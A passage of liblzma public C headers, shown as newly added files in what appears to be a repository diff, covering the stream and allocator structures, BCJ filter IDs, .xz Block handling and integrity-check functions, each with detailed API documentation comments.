* custom free(), set this to NULL and liblzma will use
* the standard malloc().
*
* \param opaque lzma_allocator.opaque (see below)
* \param nmemb Number of elements like in calloc(). liblzma
* will always set nmemb to 1, so it is safe to
* ignore nmemb in a custom allocator if you like.
* The nmemb argument exists only for
* compatibility with zlib and libbzip2.
* \param size Size of an element in bytes.
* liblzma never sets this to zero.
*
* \return Pointer to the beginning of a memory block of
* `size' bytes, or NULL if allocation fails
* for some reason. When allocation fails, functions
* of liblzma return LZMA_MEM_ERROR.
*
* The allocator should not waste time zeroing the allocated buffers.
* This is not only about speed, but also memory usage, since the
* operating system kernel doesn't necessarily allocate the requested
* memory in physical memory until it is actually used. With small
* input files, liblzma may actually need only a fraction of the
* memory that it requested for allocation.
*
* \note LZMA_MEM_ERROR is also used when the size of the
* allocation would be greater than SIZE_MAX. Thus,
* don't assume that the custom allocator must have
* returned NULL if some function from liblzma
* returns LZMA_MEM_ERROR.
*/
void *(LZMA_API_CALL *alloc)(void *opaque, size_t nmemb, size_t size);
/**
* \brief Pointer to a custom memory freeing function
*
* If you don't want a custom freeing function, but still
* want a custom allocator, set this to NULL and liblzma
* will use the standard free().
*
* \param opaque lzma_allocator.opaque (see below)
* \param ptr Pointer returned by lzma_allocator.alloc(),
* or when it is set to NULL, a pointer returned
* by the standard malloc().
*/
void (LZMA_API_CALL *free)(void *opaque, void *ptr);
/**
* \brief Pointer passed to .alloc() and .free()
*
* opaque is passed as the first argument to lzma_allocator.alloc()
* and lzma_allocator.free(). This intended to ease implementing
* custom memory allocation functions for use with liblzma.
*
* If you don't need this, you should set this to NULL.
*/
void *opaque;
} lzma_allocator;
/**
* \brief Internal data structure
*
* The contents of this structure is not visible outside the library.
*/
typedef struct lzma_internal_s lzma_internal;
/**
* \brief Passing data to and from liblzma
*
* The lzma_stream structure is used for
* - passing pointers to input and output buffers to liblzma;
* - defining custom memory hander functions; and
* - holding a pointer to coder-specific internal data structures.
*
* Typical usage:
*
* - After allocating lzma_stream (on stack or with malloc()), it must be
* initialized to LZMA_STREAM_INIT (see LZMA_STREAM_INIT for details).
*
* - Initialize a coder to the lzma_stream, for example by using
* lzma_easy_encoder() or lzma_auto_decoder(). Some notes:
* - In contrast to zlib, strm->next_in and strm->next_out are
* ignored by all initialization functions, thus it is safe
* to not initialize them yet.
* - The initialization functions always set strm->total_in and
* strm->total_out to zero.
* - If the initialization function fails, no memory is left allocated
* that would require freeing with lzma_end() even if some memory was
* associated with the lzma_stream structure when the initialization
* function was called.
*
* - Use lzma_code() to do the actual work.
*
* - Once the coding has been finished, the existing lzma_stream can be
* reused. It is OK to reuse lzma_stream with different initialization
* function without calling lzma_end() first. Old allocations are
* automatically freed.
*
* - Finally, use lzma_end() to free the allocated memory. lzma_end() never
* frees the lzma_stream structure itself.
*
* Application may modify the values of total_in and total_out as it wants.
* They are updated by liblzma to match the amount of data read and
* written but aren't used for anything else except as a possible return
* values from lzma_get_progress().
*/
typedef struct {
const uint8_t *next_in; /**< Pointer to the next input byte. */
size_t avail_in; /**< Number of available input bytes in next_in. */
uint64_t total_in; /**< Total number of bytes read by liblzma. */
uint8_t *next_out; /**< Pointer to the next output position. */
size_t avail_out; /**< Amount of free space in next_out. */
uint64_t total_out; /**< Total number of bytes written by liblzma. */
/**
* \brief Custom memory allocation functions
*
* In most cases this is NULL which makes liblzma use
* the standard malloc() and free().
*
* \note In 5.0.x this is not a const pointer.
*/
const lzma_allocator *allocator;
/** Internal state is not visible to applications. */
lzma_internal *internal;
/*
* Reserved space to allow possible future extensions without
* breaking the ABI. Excluding the initialization of this structure,
* you should not touch these, because the names of these variables
* may change.
*/
void *reserved_ptr1;
void *reserved_ptr2;
void *reserved_ptr3;
void *reserved_ptr4;
uint64_t reserved_int1;
uint64_t reserved_int2;
size_t reserved_int3;
size_t reserved_int4;
lzma_reserved_enum reserved_enum1;
lzma_reserved_enum reserved_enum2;
} lzma_stream;
/**
* \brief Initialization for lzma_stream
*
* When you declare an instance of lzma_stream, you can immediately
* initialize it so that initialization functions know that no memory
* has been allocated yet:
*
* lzma_stream strm = LZMA_STREAM_INIT;
*
* If you need to initialize a dynamically allocated lzma_stream, you can use
* memset(strm_pointer, 0, sizeof(lzma_stream)). Strictly speaking, this
* violates the C standard since NULL may have different internal
* representation than zero, but it should be portable enough in practice.
* Anyway, for maximum portability, you can use something like this:
*
* lzma_stream tmp = LZMA_STREAM_INIT;
* *strm = tmp;
*/
#define LZMA_STREAM_INIT \
{ NULL, 0, 0, NULL, 0, 0, NULL, NULL, \
NULL, NULL, NULL, NULL, 0, 0, 0, 0, \
LZMA_RESERVED_ENUM, LZMA_RESERVED_ENUM }
/**
* \brief Encode or decode data
*
* Once the lzma_stream has been successfully initialized (e.g. with
* lzma_stream_encoder()), the actual encoding or decoding is done
* using this function. The application has to update strm->next_in,
* strm->avail_in, strm->next_out, and strm->avail_out to pass input
* to and get output from liblzma.
*
* See the description of the coder-specific initialization function to find
* out what `action' values are supported by the coder.
*/
extern LZMA_API(lzma_ret) lzma_code(lzma_stream *strm, lzma_action action)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Free memory allocated for the coder data structures
*
* \param strm Pointer to lzma_stream that is at least initialized
* with LZMA_STREAM_INIT.
*
* After lzma_end(strm), strm->internal is guaranteed to be NULL. No other
* members of the lzma_stream structure are touched.
*
* \note zlib indicates an error if application end()s unfinished
* stream structure. liblzma doesn't do this, and assumes that
* application knows what it is doing.
*/
extern LZMA_API(void) lzma_end(lzma_stream *strm) lzma_nothrow;
/**
* \brief Get progress information
*
* In single-threaded mode, applications can get progress information from
* strm->total_in and strm->total_out. In multi-threaded mode this is less
* useful because a significant amount of both input and output data gets
* buffered internally by liblzma. This makes total_in and total_out give
* misleading information and also makes the progress indicator updates
* non-smooth.
*
* This function gives realistic progress information also in multi-threaded
* mode by taking into account the progress made by each thread. In
* single-threaded mode *progress_in and *progress_out are set to
* strm->total_in and strm->total_out, respectively.
*/
extern LZMA_API(void) lzma_get_progress(lzma_stream *strm,
uint64_t *progress_in, uint64_t *progress_out) lzma_nothrow;
/**
* \brief Get the memory usage of decoder filter chain
*
* This function is currently supported only when *strm has been initialized
* with a function that takes a memlimit argument. With other functions, you
* should use e.g. lzma_raw_encoder_memusage() or lzma_raw_decoder_memusage()
* to estimate the memory requirements.
*
* This function is useful e.g. after LZMA_MEMLIMIT_ERROR to find out how big
* the memory usage limit should have been to decode the input. Note that
* this may give misleading information if decoding .xz Streams that have
* multiple Blocks, because each Block can have different memory requirements.
*
* \return How much memory is currently allocated for the filter
* decoders. If no filter chain is currently allocated,
* some non-zero value is still returned, which is less than
* or equal to what any filter chain would indicate as its
* memory requirement.
*
* If this function isn't supported by *strm or some other error
* occurs, zero is returned.
*/
extern LZMA_API(uint64_t) lzma_memusage(const lzma_stream *strm)
lzma_nothrow lzma_attr_pure;
/**
* \brief Get the current memory usage limit
*
* This function is supported only when *strm has been initialized with
* a function that takes a memlimit argument.
*
* \return On success, the current memory usage limit is returned
* (always non-zero). On error, zero is returned.
*/
extern LZMA_API(uint64_t) lzma_memlimit_get(const lzma_stream *strm)
lzma_nothrow lzma_attr_pure;
/**
* \brief Set the memory usage limit
*
* This function is supported only when *strm has been initialized with
* a function that takes a memlimit argument.
*
* liblzma 5.2.3 and earlier has a bug where memlimit value of 0 causes
* this function to do nothing (leaving the limit unchanged) and still
* return LZMA_OK. Later versions treat 0 as if 1 had been specified (so
* lzma_memlimit_get() will return 1 even if you specify 0 here).
*
* \return - LZMA_OK: New memory usage limit successfully set.
* - LZMA_MEMLIMIT_ERROR: The new limit is too small.
* The limit was not changed.
* - LZMA_PROG_ERROR: Invalid arguments, e.g. *strm doesn't
* support memory usage limit.
*/
extern LZMA_API(lzma_ret) lzma_memlimit_set(
lzma_stream *strm, uint64_t memlimit) lzma_nothrow;

90
src/include/lzma/bcj.h Normal file
View File

@ -0,0 +1,90 @@
/**
* \file lzma/bcj.h
* \brief Branch/Call/Jump conversion filters
*/
/*
* Author: Lasse Collin
*
* This file has been put into the public domain.
* You can do whatever you want with this file.
*
* See ../lzma.h for information about liblzma as a whole.
*/
#ifndef LZMA_H_INTERNAL
# error Never include this file directly. Use <lzma.h> instead.
#endif
/* Filter IDs for lzma_filter.id */
#define LZMA_FILTER_X86 LZMA_VLI_C(0x04)
/**<
* Filter for x86 binaries
*/
#define LZMA_FILTER_POWERPC LZMA_VLI_C(0x05)
/**<
* Filter for Big endian PowerPC binaries
*/
#define LZMA_FILTER_IA64 LZMA_VLI_C(0x06)
/**<
* Filter for IA-64 (Itanium) binaries.
*/
#define LZMA_FILTER_ARM LZMA_VLI_C(0x07)
/**<
* Filter for ARM binaries.
*/
#define LZMA_FILTER_ARMTHUMB LZMA_VLI_C(0x08)
/**<
* Filter for ARM-Thumb binaries.
*/
#define LZMA_FILTER_SPARC LZMA_VLI_C(0x09)
/**<
* Filter for SPARC binaries.
*/
/**
* \brief Options for BCJ filters
*
* The BCJ filters never change the size of the data. Specifying options
* for them is optional: if pointer to options is NULL, default value is
* used. You probably never need to specify options to BCJ filters, so just
* set the options pointer to NULL and be happy.
*
* If options with non-default values have been specified when encoding,
* the same options must also be specified when decoding.
*
* \note At the moment, none of the BCJ filters support
* LZMA_SYNC_FLUSH. If LZMA_SYNC_FLUSH is specified,
* LZMA_OPTIONS_ERROR will be returned. If there is need,
* partial support for LZMA_SYNC_FLUSH can be added in future.
* Partial means that flushing would be possible only at
* offsets that are multiple of 2, 4, or 16 depending on
* the filter, except x86 which cannot be made to support
* LZMA_SYNC_FLUSH predictably.
*/
typedef struct {
/**
* \brief Start offset for conversions
*
* This setting is useful only when the same filter is used
* _separately_ for multiple sections of the same executable file,
* and the sections contain cross-section branch/call/jump
* instructions. In that case it is beneficial to set the start
* offset of the non-first sections so that the relative addresses
* of the cross-section branch/call/jump instructions will use the
* same absolute addresses as in the first section.
*
* When the pointer to options is NULL, the default value (zero)
* is used.
*/
uint32_t start_offset;
} lzma_options_bcj;

581
src/include/lzma/block.h Normal file
View File

@ -0,0 +1,581 @@
/**
* \file lzma/block.h
* \brief .xz Block handling
*/
/*
* Author: Lasse Collin
*
* This file has been put into the public domain.
* You can do whatever you want with this file.
*
* See ../lzma.h for information about liblzma as a whole.
*/
#ifndef LZMA_H_INTERNAL
# error Never include this file directly. Use <lzma.h> instead.
#endif
/**
* \brief Options for the Block and Block Header encoders and decoders
*
* Different Block handling functions use different parts of this structure.
* Some read some members, other functions write, and some do both. Only the
* members listed for reading need to be initialized when the specified
* functions are called. The members marked for writing will be assigned
* new values at some point either by calling the given function or by
* later calls to lzma_code().
*/
typedef struct {
/**
* \brief Block format version
*
* To prevent API and ABI breakages when new features are needed,
* a version number is used to indicate which fields in this
* structure are in use:
* - liblzma >= 5.0.0: version = 0 is supported.
* - liblzma >= 5.1.4beta: Support for version = 1 was added,
* which adds the ignore_check field.
*
* If version is greater than one, most Block related functions
* will return LZMA_OPTIONS_ERROR (lzma_block_header_decode() works
* with any version value).
*
* Read by:
* - All functions that take pointer to lzma_block as argument,
* including lzma_block_header_decode().
*
* Written by:
* - lzma_block_header_decode()
*/
uint32_t version;
/**
* \brief Size of the Block Header field
*
* This is always a multiple of four.
*
* Read by:
* - lzma_block_header_encode()
* - lzma_block_header_decode()
* - lzma_block_compressed_size()
* - lzma_block_unpadded_size()
* - lzma_block_total_size()
* - lzma_block_decoder()
* - lzma_block_buffer_decode()
*
* Written by:
* - lzma_block_header_size()
* - lzma_block_buffer_encode()
*/
uint32_t header_size;
# define LZMA_BLOCK_HEADER_SIZE_MIN 8
# define LZMA_BLOCK_HEADER_SIZE_MAX 1024
/**
* \brief Type of integrity Check
*
* The Check ID is not stored into the Block Header, thus its value
* must be provided also when decoding.
*
* Read by:
* - lzma_block_header_encode()
* - lzma_block_header_decode()
* - lzma_block_compressed_size()
* - lzma_block_unpadded_size()
* - lzma_block_total_size()
* - lzma_block_encoder()
* - lzma_block_decoder()
* - lzma_block_buffer_encode()
* - lzma_block_buffer_decode()
*/
lzma_check check;
/**
* \brief Size of the Compressed Data in bytes
*
* Encoding: If this is not LZMA_VLI_UNKNOWN, Block Header encoder
* will store this value to the Block Header. Block encoder doesn't
* care about this value, but will set it once the encoding has been
* finished.
*
* Decoding: If this is not LZMA_VLI_UNKNOWN, Block decoder will
* verify that the size of the Compressed Data field matches
* compressed_size.
*
* Usually you don't know this value when encoding in streamed mode,
* and thus cannot write this field into the Block Header.
*
* In non-streamed mode you can reserve space for this field before
* encoding the actual Block. After encoding the data, finish the
* Block by encoding the Block Header. Steps in detail:
*
* - Set compressed_size to some big enough value. If you don't know
* better, use LZMA_VLI_MAX, but remember that bigger values take
* more space in Block Header.
*
* - Call lzma_block_header_size() to see how much space you need to
* reserve for the Block Header.
*
* - Encode the Block using lzma_block_encoder() and lzma_code().
* It sets compressed_size to the correct value.
*
* - Use lzma_block_header_encode() to encode the Block Header.
* Because space was reserved in the first step, you don't need
* to call lzma_block_header_size() anymore, because due to
* reserving, header_size has to be big enough. If it is "too big",
* lzma_block_header_encode() will add enough Header Padding to
* make Block Header to match the size specified by header_size.
*
* Read by:
* - lzma_block_header_size()
* - lzma_block_header_encode()
* - lzma_block_compressed_size()
* - lzma_block_unpadded_size()
* - lzma_block_total_size()
* - lzma_block_decoder()
* - lzma_block_buffer_decode()
*
* Written by:
* - lzma_block_header_decode()
* - lzma_block_compressed_size()
* - lzma_block_encoder()
* - lzma_block_decoder()
* - lzma_block_buffer_encode()
* - lzma_block_buffer_decode()
*/
lzma_vli compressed_size;
/**
* \brief Uncompressed Size in bytes
*
* This is handled very similarly to compressed_size above.
*
* uncompressed_size is needed by fewer functions than
* compressed_size. This is because uncompressed_size isn't
* needed to validate that Block stays within proper limits.
*
* Read by:
* - lzma_block_header_size()
* - lzma_block_header_encode()
* - lzma_block_decoder()
* - lzma_block_buffer_decode()
*
* Written by:
* - lzma_block_header_decode()
* - lzma_block_encoder()
* - lzma_block_decoder()
* - lzma_block_buffer_encode()
* - lzma_block_buffer_decode()
*/
lzma_vli uncompressed_size;
/**
* \brief Array of filters
*
* There can be 1-4 filters. The end of the array is marked with
* .id = LZMA_VLI_UNKNOWN.
*
* Read by:
* - lzma_block_header_size()
* - lzma_block_header_encode()
* - lzma_block_encoder()
* - lzma_block_decoder()
* - lzma_block_buffer_encode()
* - lzma_block_buffer_decode()
*
* Written by:
* - lzma_block_header_decode(): Note that this does NOT free()
* the old filter options structures. All unused filters[] will
* have .id == LZMA_VLI_UNKNOWN and .options == NULL. If
* decoding fails, all filters[] are guaranteed to be
* LZMA_VLI_UNKNOWN and NULL.
*
* \note Because of the array is terminated with
* .id = LZMA_VLI_UNKNOWN, the actual array must
* have LZMA_FILTERS_MAX + 1 members or the Block
* Header decoder will overflow the buffer.
*/
lzma_filter *filters;
/**
* \brief Raw value stored in the Check field
*
* After successful coding, the first lzma_check_size(check) bytes
* of this array contain the raw value stored in the Check field.
*
* Note that CRC32 and CRC64 are stored in little endian byte order.
* Take it into account if you display the Check values to the user.
*
* Written by:
* - lzma_block_encoder()
* - lzma_block_decoder()
* - lzma_block_buffer_encode()
* - lzma_block_buffer_decode()
*/
uint8_t raw_check[LZMA_CHECK_SIZE_MAX];
/*
* Reserved space to allow possible future extensions without
* breaking the ABI. You should not touch these, because the names
* of these variables may change. These are and will never be used
* with the currently supported options, so it is safe to leave these
* uninitialized.
*/
void *reserved_ptr1;
void *reserved_ptr2;
void *reserved_ptr3;
uint32_t reserved_int1;
uint32_t reserved_int2;
lzma_vli reserved_int3;
lzma_vli reserved_int4;
lzma_vli reserved_int5;
lzma_vli reserved_int6;
lzma_vli reserved_int7;
lzma_vli reserved_int8;
lzma_reserved_enum reserved_enum1;
lzma_reserved_enum reserved_enum2;
lzma_reserved_enum reserved_enum3;
lzma_reserved_enum reserved_enum4;
/**
* \brief A flag to Block decoder to not verify the Check field
*
* This field is supported by liblzma >= 5.1.4beta if .version >= 1.
*
* If this is set to true, the integrity check won't be calculated
* and verified. Unless you know what you are doing, you should
* leave this to false. (A reason to set this to true is when the
* file integrity is verified externally anyway and you want to
* speed up the decompression, which matters mostly when using
* SHA-256 as the integrity check.)
*
* If .version >= 1, read by:
* - lzma_block_decoder()
* - lzma_block_buffer_decode()
*
* Written by (.version is ignored):
* - lzma_block_header_decode() always sets this to false
*/
lzma_bool ignore_check;
lzma_bool reserved_bool2;
lzma_bool reserved_bool3;
lzma_bool reserved_bool4;
lzma_bool reserved_bool5;
lzma_bool reserved_bool6;
lzma_bool reserved_bool7;
lzma_bool reserved_bool8;
} lzma_block;
/**
* \brief Decode the Block Header Size field
*
* To decode Block Header using lzma_block_header_decode(), the size of the
* Block Header has to be known and stored into lzma_block.header_size.
* The size can be calculated from the first byte of a Block using this macro.
* Note that if the first byte is 0x00, it indicates beginning of Index; use
* this macro only when the byte is not 0x00.
*
* There is no encoding macro, because Block Header encoder is enough for that.
*/
#define lzma_block_header_size_decode(b) (((uint32_t)(b) + 1) * 4)
/**
* \brief Calculate Block Header Size
*
* Calculate the minimum size needed for the Block Header field using the
* settings specified in the lzma_block structure. Note that it is OK to
* increase the calculated header_size value as long as it is a multiple of
* four and doesn't exceed LZMA_BLOCK_HEADER_SIZE_MAX. Increasing header_size
* just means that lzma_block_header_encode() will add Header Padding.
*
* \return - LZMA_OK: Size calculated successfully and stored to
* block->header_size.
* - LZMA_OPTIONS_ERROR: Unsupported version, filters or
* filter options.
* - LZMA_PROG_ERROR: Invalid values like compressed_size == 0.
*
* \note This doesn't check that all the options are valid i.e. this
* may return LZMA_OK even if lzma_block_header_encode() or
* lzma_block_encoder() would fail. If you want to validate the
* filter chain, consider using lzma_memlimit_encoder() which as
* a side-effect validates the filter chain.
*/
extern LZMA_API(lzma_ret) lzma_block_header_size(lzma_block *block)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Encode Block Header
*
* The caller must have calculated the size of the Block Header already with
* lzma_block_header_size(). If a value larger than the one calculated by
* lzma_block_header_size() is used, the Block Header will be padded to the
* specified size.
*
* \param out Beginning of the output buffer. This must be
* at least block->header_size bytes.
* \param block Block options to be encoded.
*
* \return - LZMA_OK: Encoding was successful. block->header_size
* bytes were written to output buffer.
* - LZMA_OPTIONS_ERROR: Invalid or unsupported options.
* - LZMA_PROG_ERROR: Invalid arguments, for example
* block->header_size is invalid or block->filters is NULL.
*/
extern LZMA_API(lzma_ret) lzma_block_header_encode(
const lzma_block *block, uint8_t *out)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Decode Block Header
*
* block->version should (usually) be set to the highest value supported
* by the application. If the application sets block->version to a value
* higher than supported by the current liblzma version, this function will
* downgrade block->version to the highest value supported by it. Thus one
* should check the value of block->version after calling this function if
* block->version was set to a non-zero value and the application doesn't
* otherwise know that the liblzma version being used is new enough to
* support the specified block->version.
*
* The size of the Block Header must have already been decoded with
* lzma_block_header_size_decode() macro and stored to block->header_size.
*
* The integrity check type from Stream Header must have been stored
* to block->check.
*
* block->filters must have been allocated, but they don't need to be
* initialized (possible existing filter options are not freed).
*
* \param block Destination for Block options.
* \param allocator lzma_allocator for custom allocator functions.
* Set to NULL to use malloc() (and also free()
* if an error occurs).
* \param in Beginning of the input buffer. This must be
* at least block->header_size bytes.
*
* \return - LZMA_OK: Decoding was successful. block->header_size
* bytes were read from the input buffer.
* - LZMA_OPTIONS_ERROR: The Block Header specifies some
* unsupported options such as unsupported filters. This can
* happen also if block->version was set to a too low value
* compared to what would be required to properly represent
* the information stored in the Block Header.
* - LZMA_DATA_ERROR: Block Header is corrupt, for example,
* the CRC32 doesn't match.
* - LZMA_PROG_ERROR: Invalid arguments, for example
* block->header_size is invalid or block->filters is NULL.
*/
extern LZMA_API(lzma_ret) lzma_block_header_decode(lzma_block *block,
const lzma_allocator *allocator, const uint8_t *in)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Validate and set Compressed Size according to Unpadded Size
*
* Block Header stores Compressed Size, but Index has Unpadded Size. If the
* application has already parsed the Index and is now decoding Blocks,
* it can calculate Compressed Size from Unpadded Size. This function does
* exactly that with error checking:
*
* - Compressed Size calculated from Unpadded Size must be positive integer,
* that is, Unpadded Size must be big enough that after Block Header and
* Check fields there's still at least one byte for Compressed Size.
*
* - If Compressed Size was present in Block Header, the new value
* calculated from Unpadded Size is compared against the value
* from Block Header.
*
* \note This function must be called _after_ decoding the Block Header
* field so that it can properly validate Compressed Size if it
* was present in Block Header.
*
* \return - LZMA_OK: block->compressed_size was set successfully.
* - LZMA_DATA_ERROR: unpadded_size is too small compared to
* block->header_size and lzma_check_size(block->check).
* - LZMA_PROG_ERROR: Some values are invalid. For example,
* block->header_size must be a multiple of four and
* between 8 and 1024 inclusive.
*/
extern LZMA_API(lzma_ret) lzma_block_compressed_size(
lzma_block *block, lzma_vli unpadded_size)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Calculate Unpadded Size
*
* The Index field stores Unpadded Size and Uncompressed Size. The latter
* can be taken directly from the lzma_block structure after coding a Block,
* but Unpadded Size needs to be calculated from Block Header Size,
* Compressed Size, and size of the Check field. This is where this function
* is needed.
*
* \return Unpadded Size on success, or zero on error.
*/
extern LZMA_API(lzma_vli) lzma_block_unpadded_size(const lzma_block *block)
lzma_nothrow lzma_attr_pure;
/**
* \brief Calculate the total encoded size of a Block
*
* This is equivalent to lzma_block_unpadded_size() except that the returned
* value includes the size of the Block Padding field.
*
* \return On success, total encoded size of the Block. On error,
* zero is returned.
*/
extern LZMA_API(lzma_vli) lzma_block_total_size(const lzma_block *block)
lzma_nothrow lzma_attr_pure;
/**
* \brief Initialize .xz Block encoder
*
* Valid actions for lzma_code() are LZMA_RUN, LZMA_SYNC_FLUSH (only if the
* filter chain supports it), and LZMA_FINISH.
*
* \return - LZMA_OK: All good, continue with lzma_code().
* - LZMA_MEM_ERROR
* - LZMA_OPTIONS_ERROR
* - LZMA_UNSUPPORTED_CHECK: block->check specifies a Check ID
* that is not supported by this build of liblzma. Initializing
* the encoder failed.
* - LZMA_PROG_ERROR
*/
extern LZMA_API(lzma_ret) lzma_block_encoder(
lzma_stream *strm, lzma_block *block)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Initialize .xz Block decoder
*
* Valid actions for lzma_code() are LZMA_RUN and LZMA_FINISH. Using
* LZMA_FINISH is not required. It is supported only for convenience.
*
* \return - LZMA_OK: All good, continue with lzma_code().
* - LZMA_UNSUPPORTED_CHECK: Initialization was successful, but
* the given Check ID is not supported, thus Check will be
* ignored.
* - LZMA_PROG_ERROR
* - LZMA_MEM_ERROR
*/
extern LZMA_API(lzma_ret) lzma_block_decoder(
lzma_stream *strm, lzma_block *block)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Calculate maximum output size for single-call Block encoding
*
* This is equivalent to lzma_stream_buffer_bound() but for .xz Blocks.
* See the documentation of lzma_stream_buffer_bound().
*/
extern LZMA_API(size_t) lzma_block_buffer_bound(size_t uncompressed_size)
lzma_nothrow;
/**
* \brief Single-call .xz Block encoder
*
* In contrast to the multi-call encoder initialized with
* lzma_block_encoder(), this function encodes also the Block Header. This
* is required to make it possible to write appropriate Block Header also
* in case the data isn't compressible, and different filter chain has to be
* used to encode the data in uncompressed form using uncompressed chunks
* of the LZMA2 filter.
*
* When the data isn't compressible, header_size, compressed_size, and
* uncompressed_size are set just like when the data was compressible, but
* it is possible that header_size is too small to hold the filter chain
* specified in block->filters, because that isn't necessarily the filter
* chain that was actually used to encode the data. lzma_block_unpadded_size()
* still works normally, because it doesn't read the filters array.
*
* \param block Block options: block->version, block->check,
* and block->filters must have been initialized.
* \param allocator lzma_allocator for custom allocator functions.
* Set to NULL to use malloc() and free().
* \param in Beginning of the input buffer
* \param in_size Size of the input buffer
* \param out Beginning of the output buffer
* \param out_pos The next byte will be written to out[*out_pos].
* *out_pos is updated only if encoding succeeds.
* \param out_size Size of the out buffer; the first byte into
* which no data is written to is out[out_size].
*
* \return - LZMA_OK: Encoding was successful.
* - LZMA_BUF_ERROR: Not enough output buffer space.
* - LZMA_UNSUPPORTED_CHECK
* - LZMA_OPTIONS_ERROR
* - LZMA_MEM_ERROR
* - LZMA_DATA_ERROR
* - LZMA_PROG_ERROR
*/
extern LZMA_API(lzma_ret) lzma_block_buffer_encode(
lzma_block *block, const lzma_allocator *allocator,
const uint8_t *in, size_t in_size,
uint8_t *out, size_t *out_pos, size_t out_size)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Single-call uncompressed .xz Block encoder
*
* This is like lzma_block_buffer_encode() except this doesn't try to
* compress the data and instead encodes the data using LZMA2 uncompressed
* chunks. The required output buffer size can be determined with
* lzma_block_buffer_bound().
*
* Since the data won't be compressed, this function ignores block->filters.
* This function doesn't take lzma_allocator because this function doesn't
* allocate any memory from the heap.
*/
extern LZMA_API(lzma_ret) lzma_block_uncomp_encode(lzma_block *block,
const uint8_t *in, size_t in_size,
uint8_t *out, size_t *out_pos, size_t out_size)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Single-call .xz Block decoder
*
* This is single-call equivalent of lzma_block_decoder(), and requires that
* the caller has already decoded Block Header and checked its memory usage.
*
* \param block Block options just like with lzma_block_decoder().
* \param allocator lzma_allocator for custom allocator functions.
* Set to NULL to use malloc() and free().
* \param in Beginning of the input buffer
* \param in_pos The next byte will be read from in[*in_pos].
* *in_pos is updated only if decoding succeeds.
* \param in_size Size of the input buffer; the first byte that
* won't be read is in[in_size].
* \param out Beginning of the output buffer
* \param out_pos The next byte will be written to out[*out_pos].
* *out_pos is updated only if encoding succeeds.
* \param out_size Size of the out buffer; the first byte into
* which no data is written to is out[out_size].
*
* \return - LZMA_OK: Decoding was successful.
* - LZMA_OPTIONS_ERROR
* - LZMA_DATA_ERROR
* - LZMA_MEM_ERROR
* - LZMA_BUF_ERROR: Output buffer was too small.
* - LZMA_PROG_ERROR
*/
extern LZMA_API(lzma_ret) lzma_block_buffer_decode(
lzma_block *block, const lzma_allocator *allocator,
const uint8_t *in, size_t *in_pos, size_t in_size,
uint8_t *out, size_t *out_pos, size_t out_size)
lzma_nothrow;

150
src/include/lzma/check.h Normal file
View File

@ -0,0 +1,150 @@
/**
* \file lzma/check.h
* \brief Integrity checks
*/
/*
* Author: Lasse Collin
*
* This file has been put into the public domain.
* You can do whatever you want with this file.
*
* See ../lzma.h for information about liblzma as a whole.
*/
#ifndef LZMA_H_INTERNAL
# error Never include this file directly. Use <lzma.h> instead.
#endif
/**
* \brief Type of the integrity check (Check ID)
*
* The .xz format supports multiple types of checks that are calculated
* from the uncompressed data. They vary in both speed and ability to
* detect errors.
*/
typedef enum {
LZMA_CHECK_NONE = 0,
/**<
* No Check is calculated.
*
* Size of the Check field: 0 bytes
*/
LZMA_CHECK_CRC32 = 1,
/**<
* CRC32 using the polynomial from the IEEE 802.3 standard
*
* Size of the Check field: 4 bytes
*/
LZMA_CHECK_CRC64 = 4,
/**<
* CRC64 using the polynomial from the ECMA-182 standard
*
* Size of the Check field: 8 bytes
*/
LZMA_CHECK_SHA256 = 10
/**<
* SHA-256
*
* Size of the Check field: 32 bytes
*/
} lzma_check;
/**
* \brief Maximum valid Check ID
*
* The .xz file format specification specifies 16 Check IDs (0-15). Some
* of them are only reserved, that is, no actual Check algorithm has been
* assigned. When decoding, liblzma still accepts unknown Check IDs for
* future compatibility. If a valid but unsupported Check ID is detected,
* liblzma can indicate a warning; see the flags LZMA_TELL_NO_CHECK,
* LZMA_TELL_UNSUPPORTED_CHECK, and LZMA_TELL_ANY_CHECK in container.h.
*/
#define LZMA_CHECK_ID_MAX 15
/**
* \brief Test if the given Check ID is supported
*
* Return true if the given Check ID is supported by this liblzma build.
* Otherwise false is returned. It is safe to call this with a value that
* is not in the range [0, 15]; in that case the return value is always false.
*
* You can assume that LZMA_CHECK_NONE and LZMA_CHECK_CRC32 are always
* supported (even if liblzma is built with limited features).
*/
extern LZMA_API(lzma_bool) lzma_check_is_supported(lzma_check check)
lzma_nothrow lzma_attr_const;
/**
* \brief Get the size of the Check field with the given Check ID
*
* Although not all Check IDs have a check algorithm associated, the size of
* every Check is already frozen. This function returns the size (in bytes) of
* the Check field with the specified Check ID. The values are:
* { 0, 4, 4, 4, 8, 8, 8, 16, 16, 16, 32, 32, 32, 64, 64, 64 }
*
* If the argument is not in the range [0, 15], UINT32_MAX is returned.
*/
extern LZMA_API(uint32_t) lzma_check_size(lzma_check check)
lzma_nothrow lzma_attr_const;
/**
* \brief Maximum size of a Check field
*/
#define LZMA_CHECK_SIZE_MAX 64
/**
* \brief Calculate CRC32
*
* Calculate CRC32 using the polynomial from the IEEE 802.3 standard.
*
* \param buf Pointer to the input buffer
* \param size Size of the input buffer
* \param crc Previously returned CRC value. This is used to
* calculate the CRC of a big buffer in smaller chunks.
* Set to zero when starting a new calculation.
*
* \return Updated CRC value, which can be passed to this function
* again to continue CRC calculation.
*/
extern LZMA_API(uint32_t) lzma_crc32(
const uint8_t *buf, size_t size, uint32_t crc)
lzma_nothrow lzma_attr_pure;
/**
* \brief Calculate CRC64
*
* Calculate CRC64 using the polynomial from the ECMA-182 standard.
*
* This function is used similarly to lzma_crc32(). See its documentation.
*/
extern LZMA_API(uint64_t) lzma_crc64(
const uint8_t *buf, size_t size, uint64_t crc)
lzma_nothrow lzma_attr_pure;
/*
* SHA-256 functions are currently not exported to public API.
* Contact Lasse Collin if you think it should be.
*/
/**
* \brief Get the type of the integrity check
*
* This function can be called only immediately after lzma_code() has
* returned LZMA_NO_CHECK, LZMA_UNSUPPORTED_CHECK, or LZMA_GET_CHECK.
* Calling this function in any other situation has undefined behavior.
*/
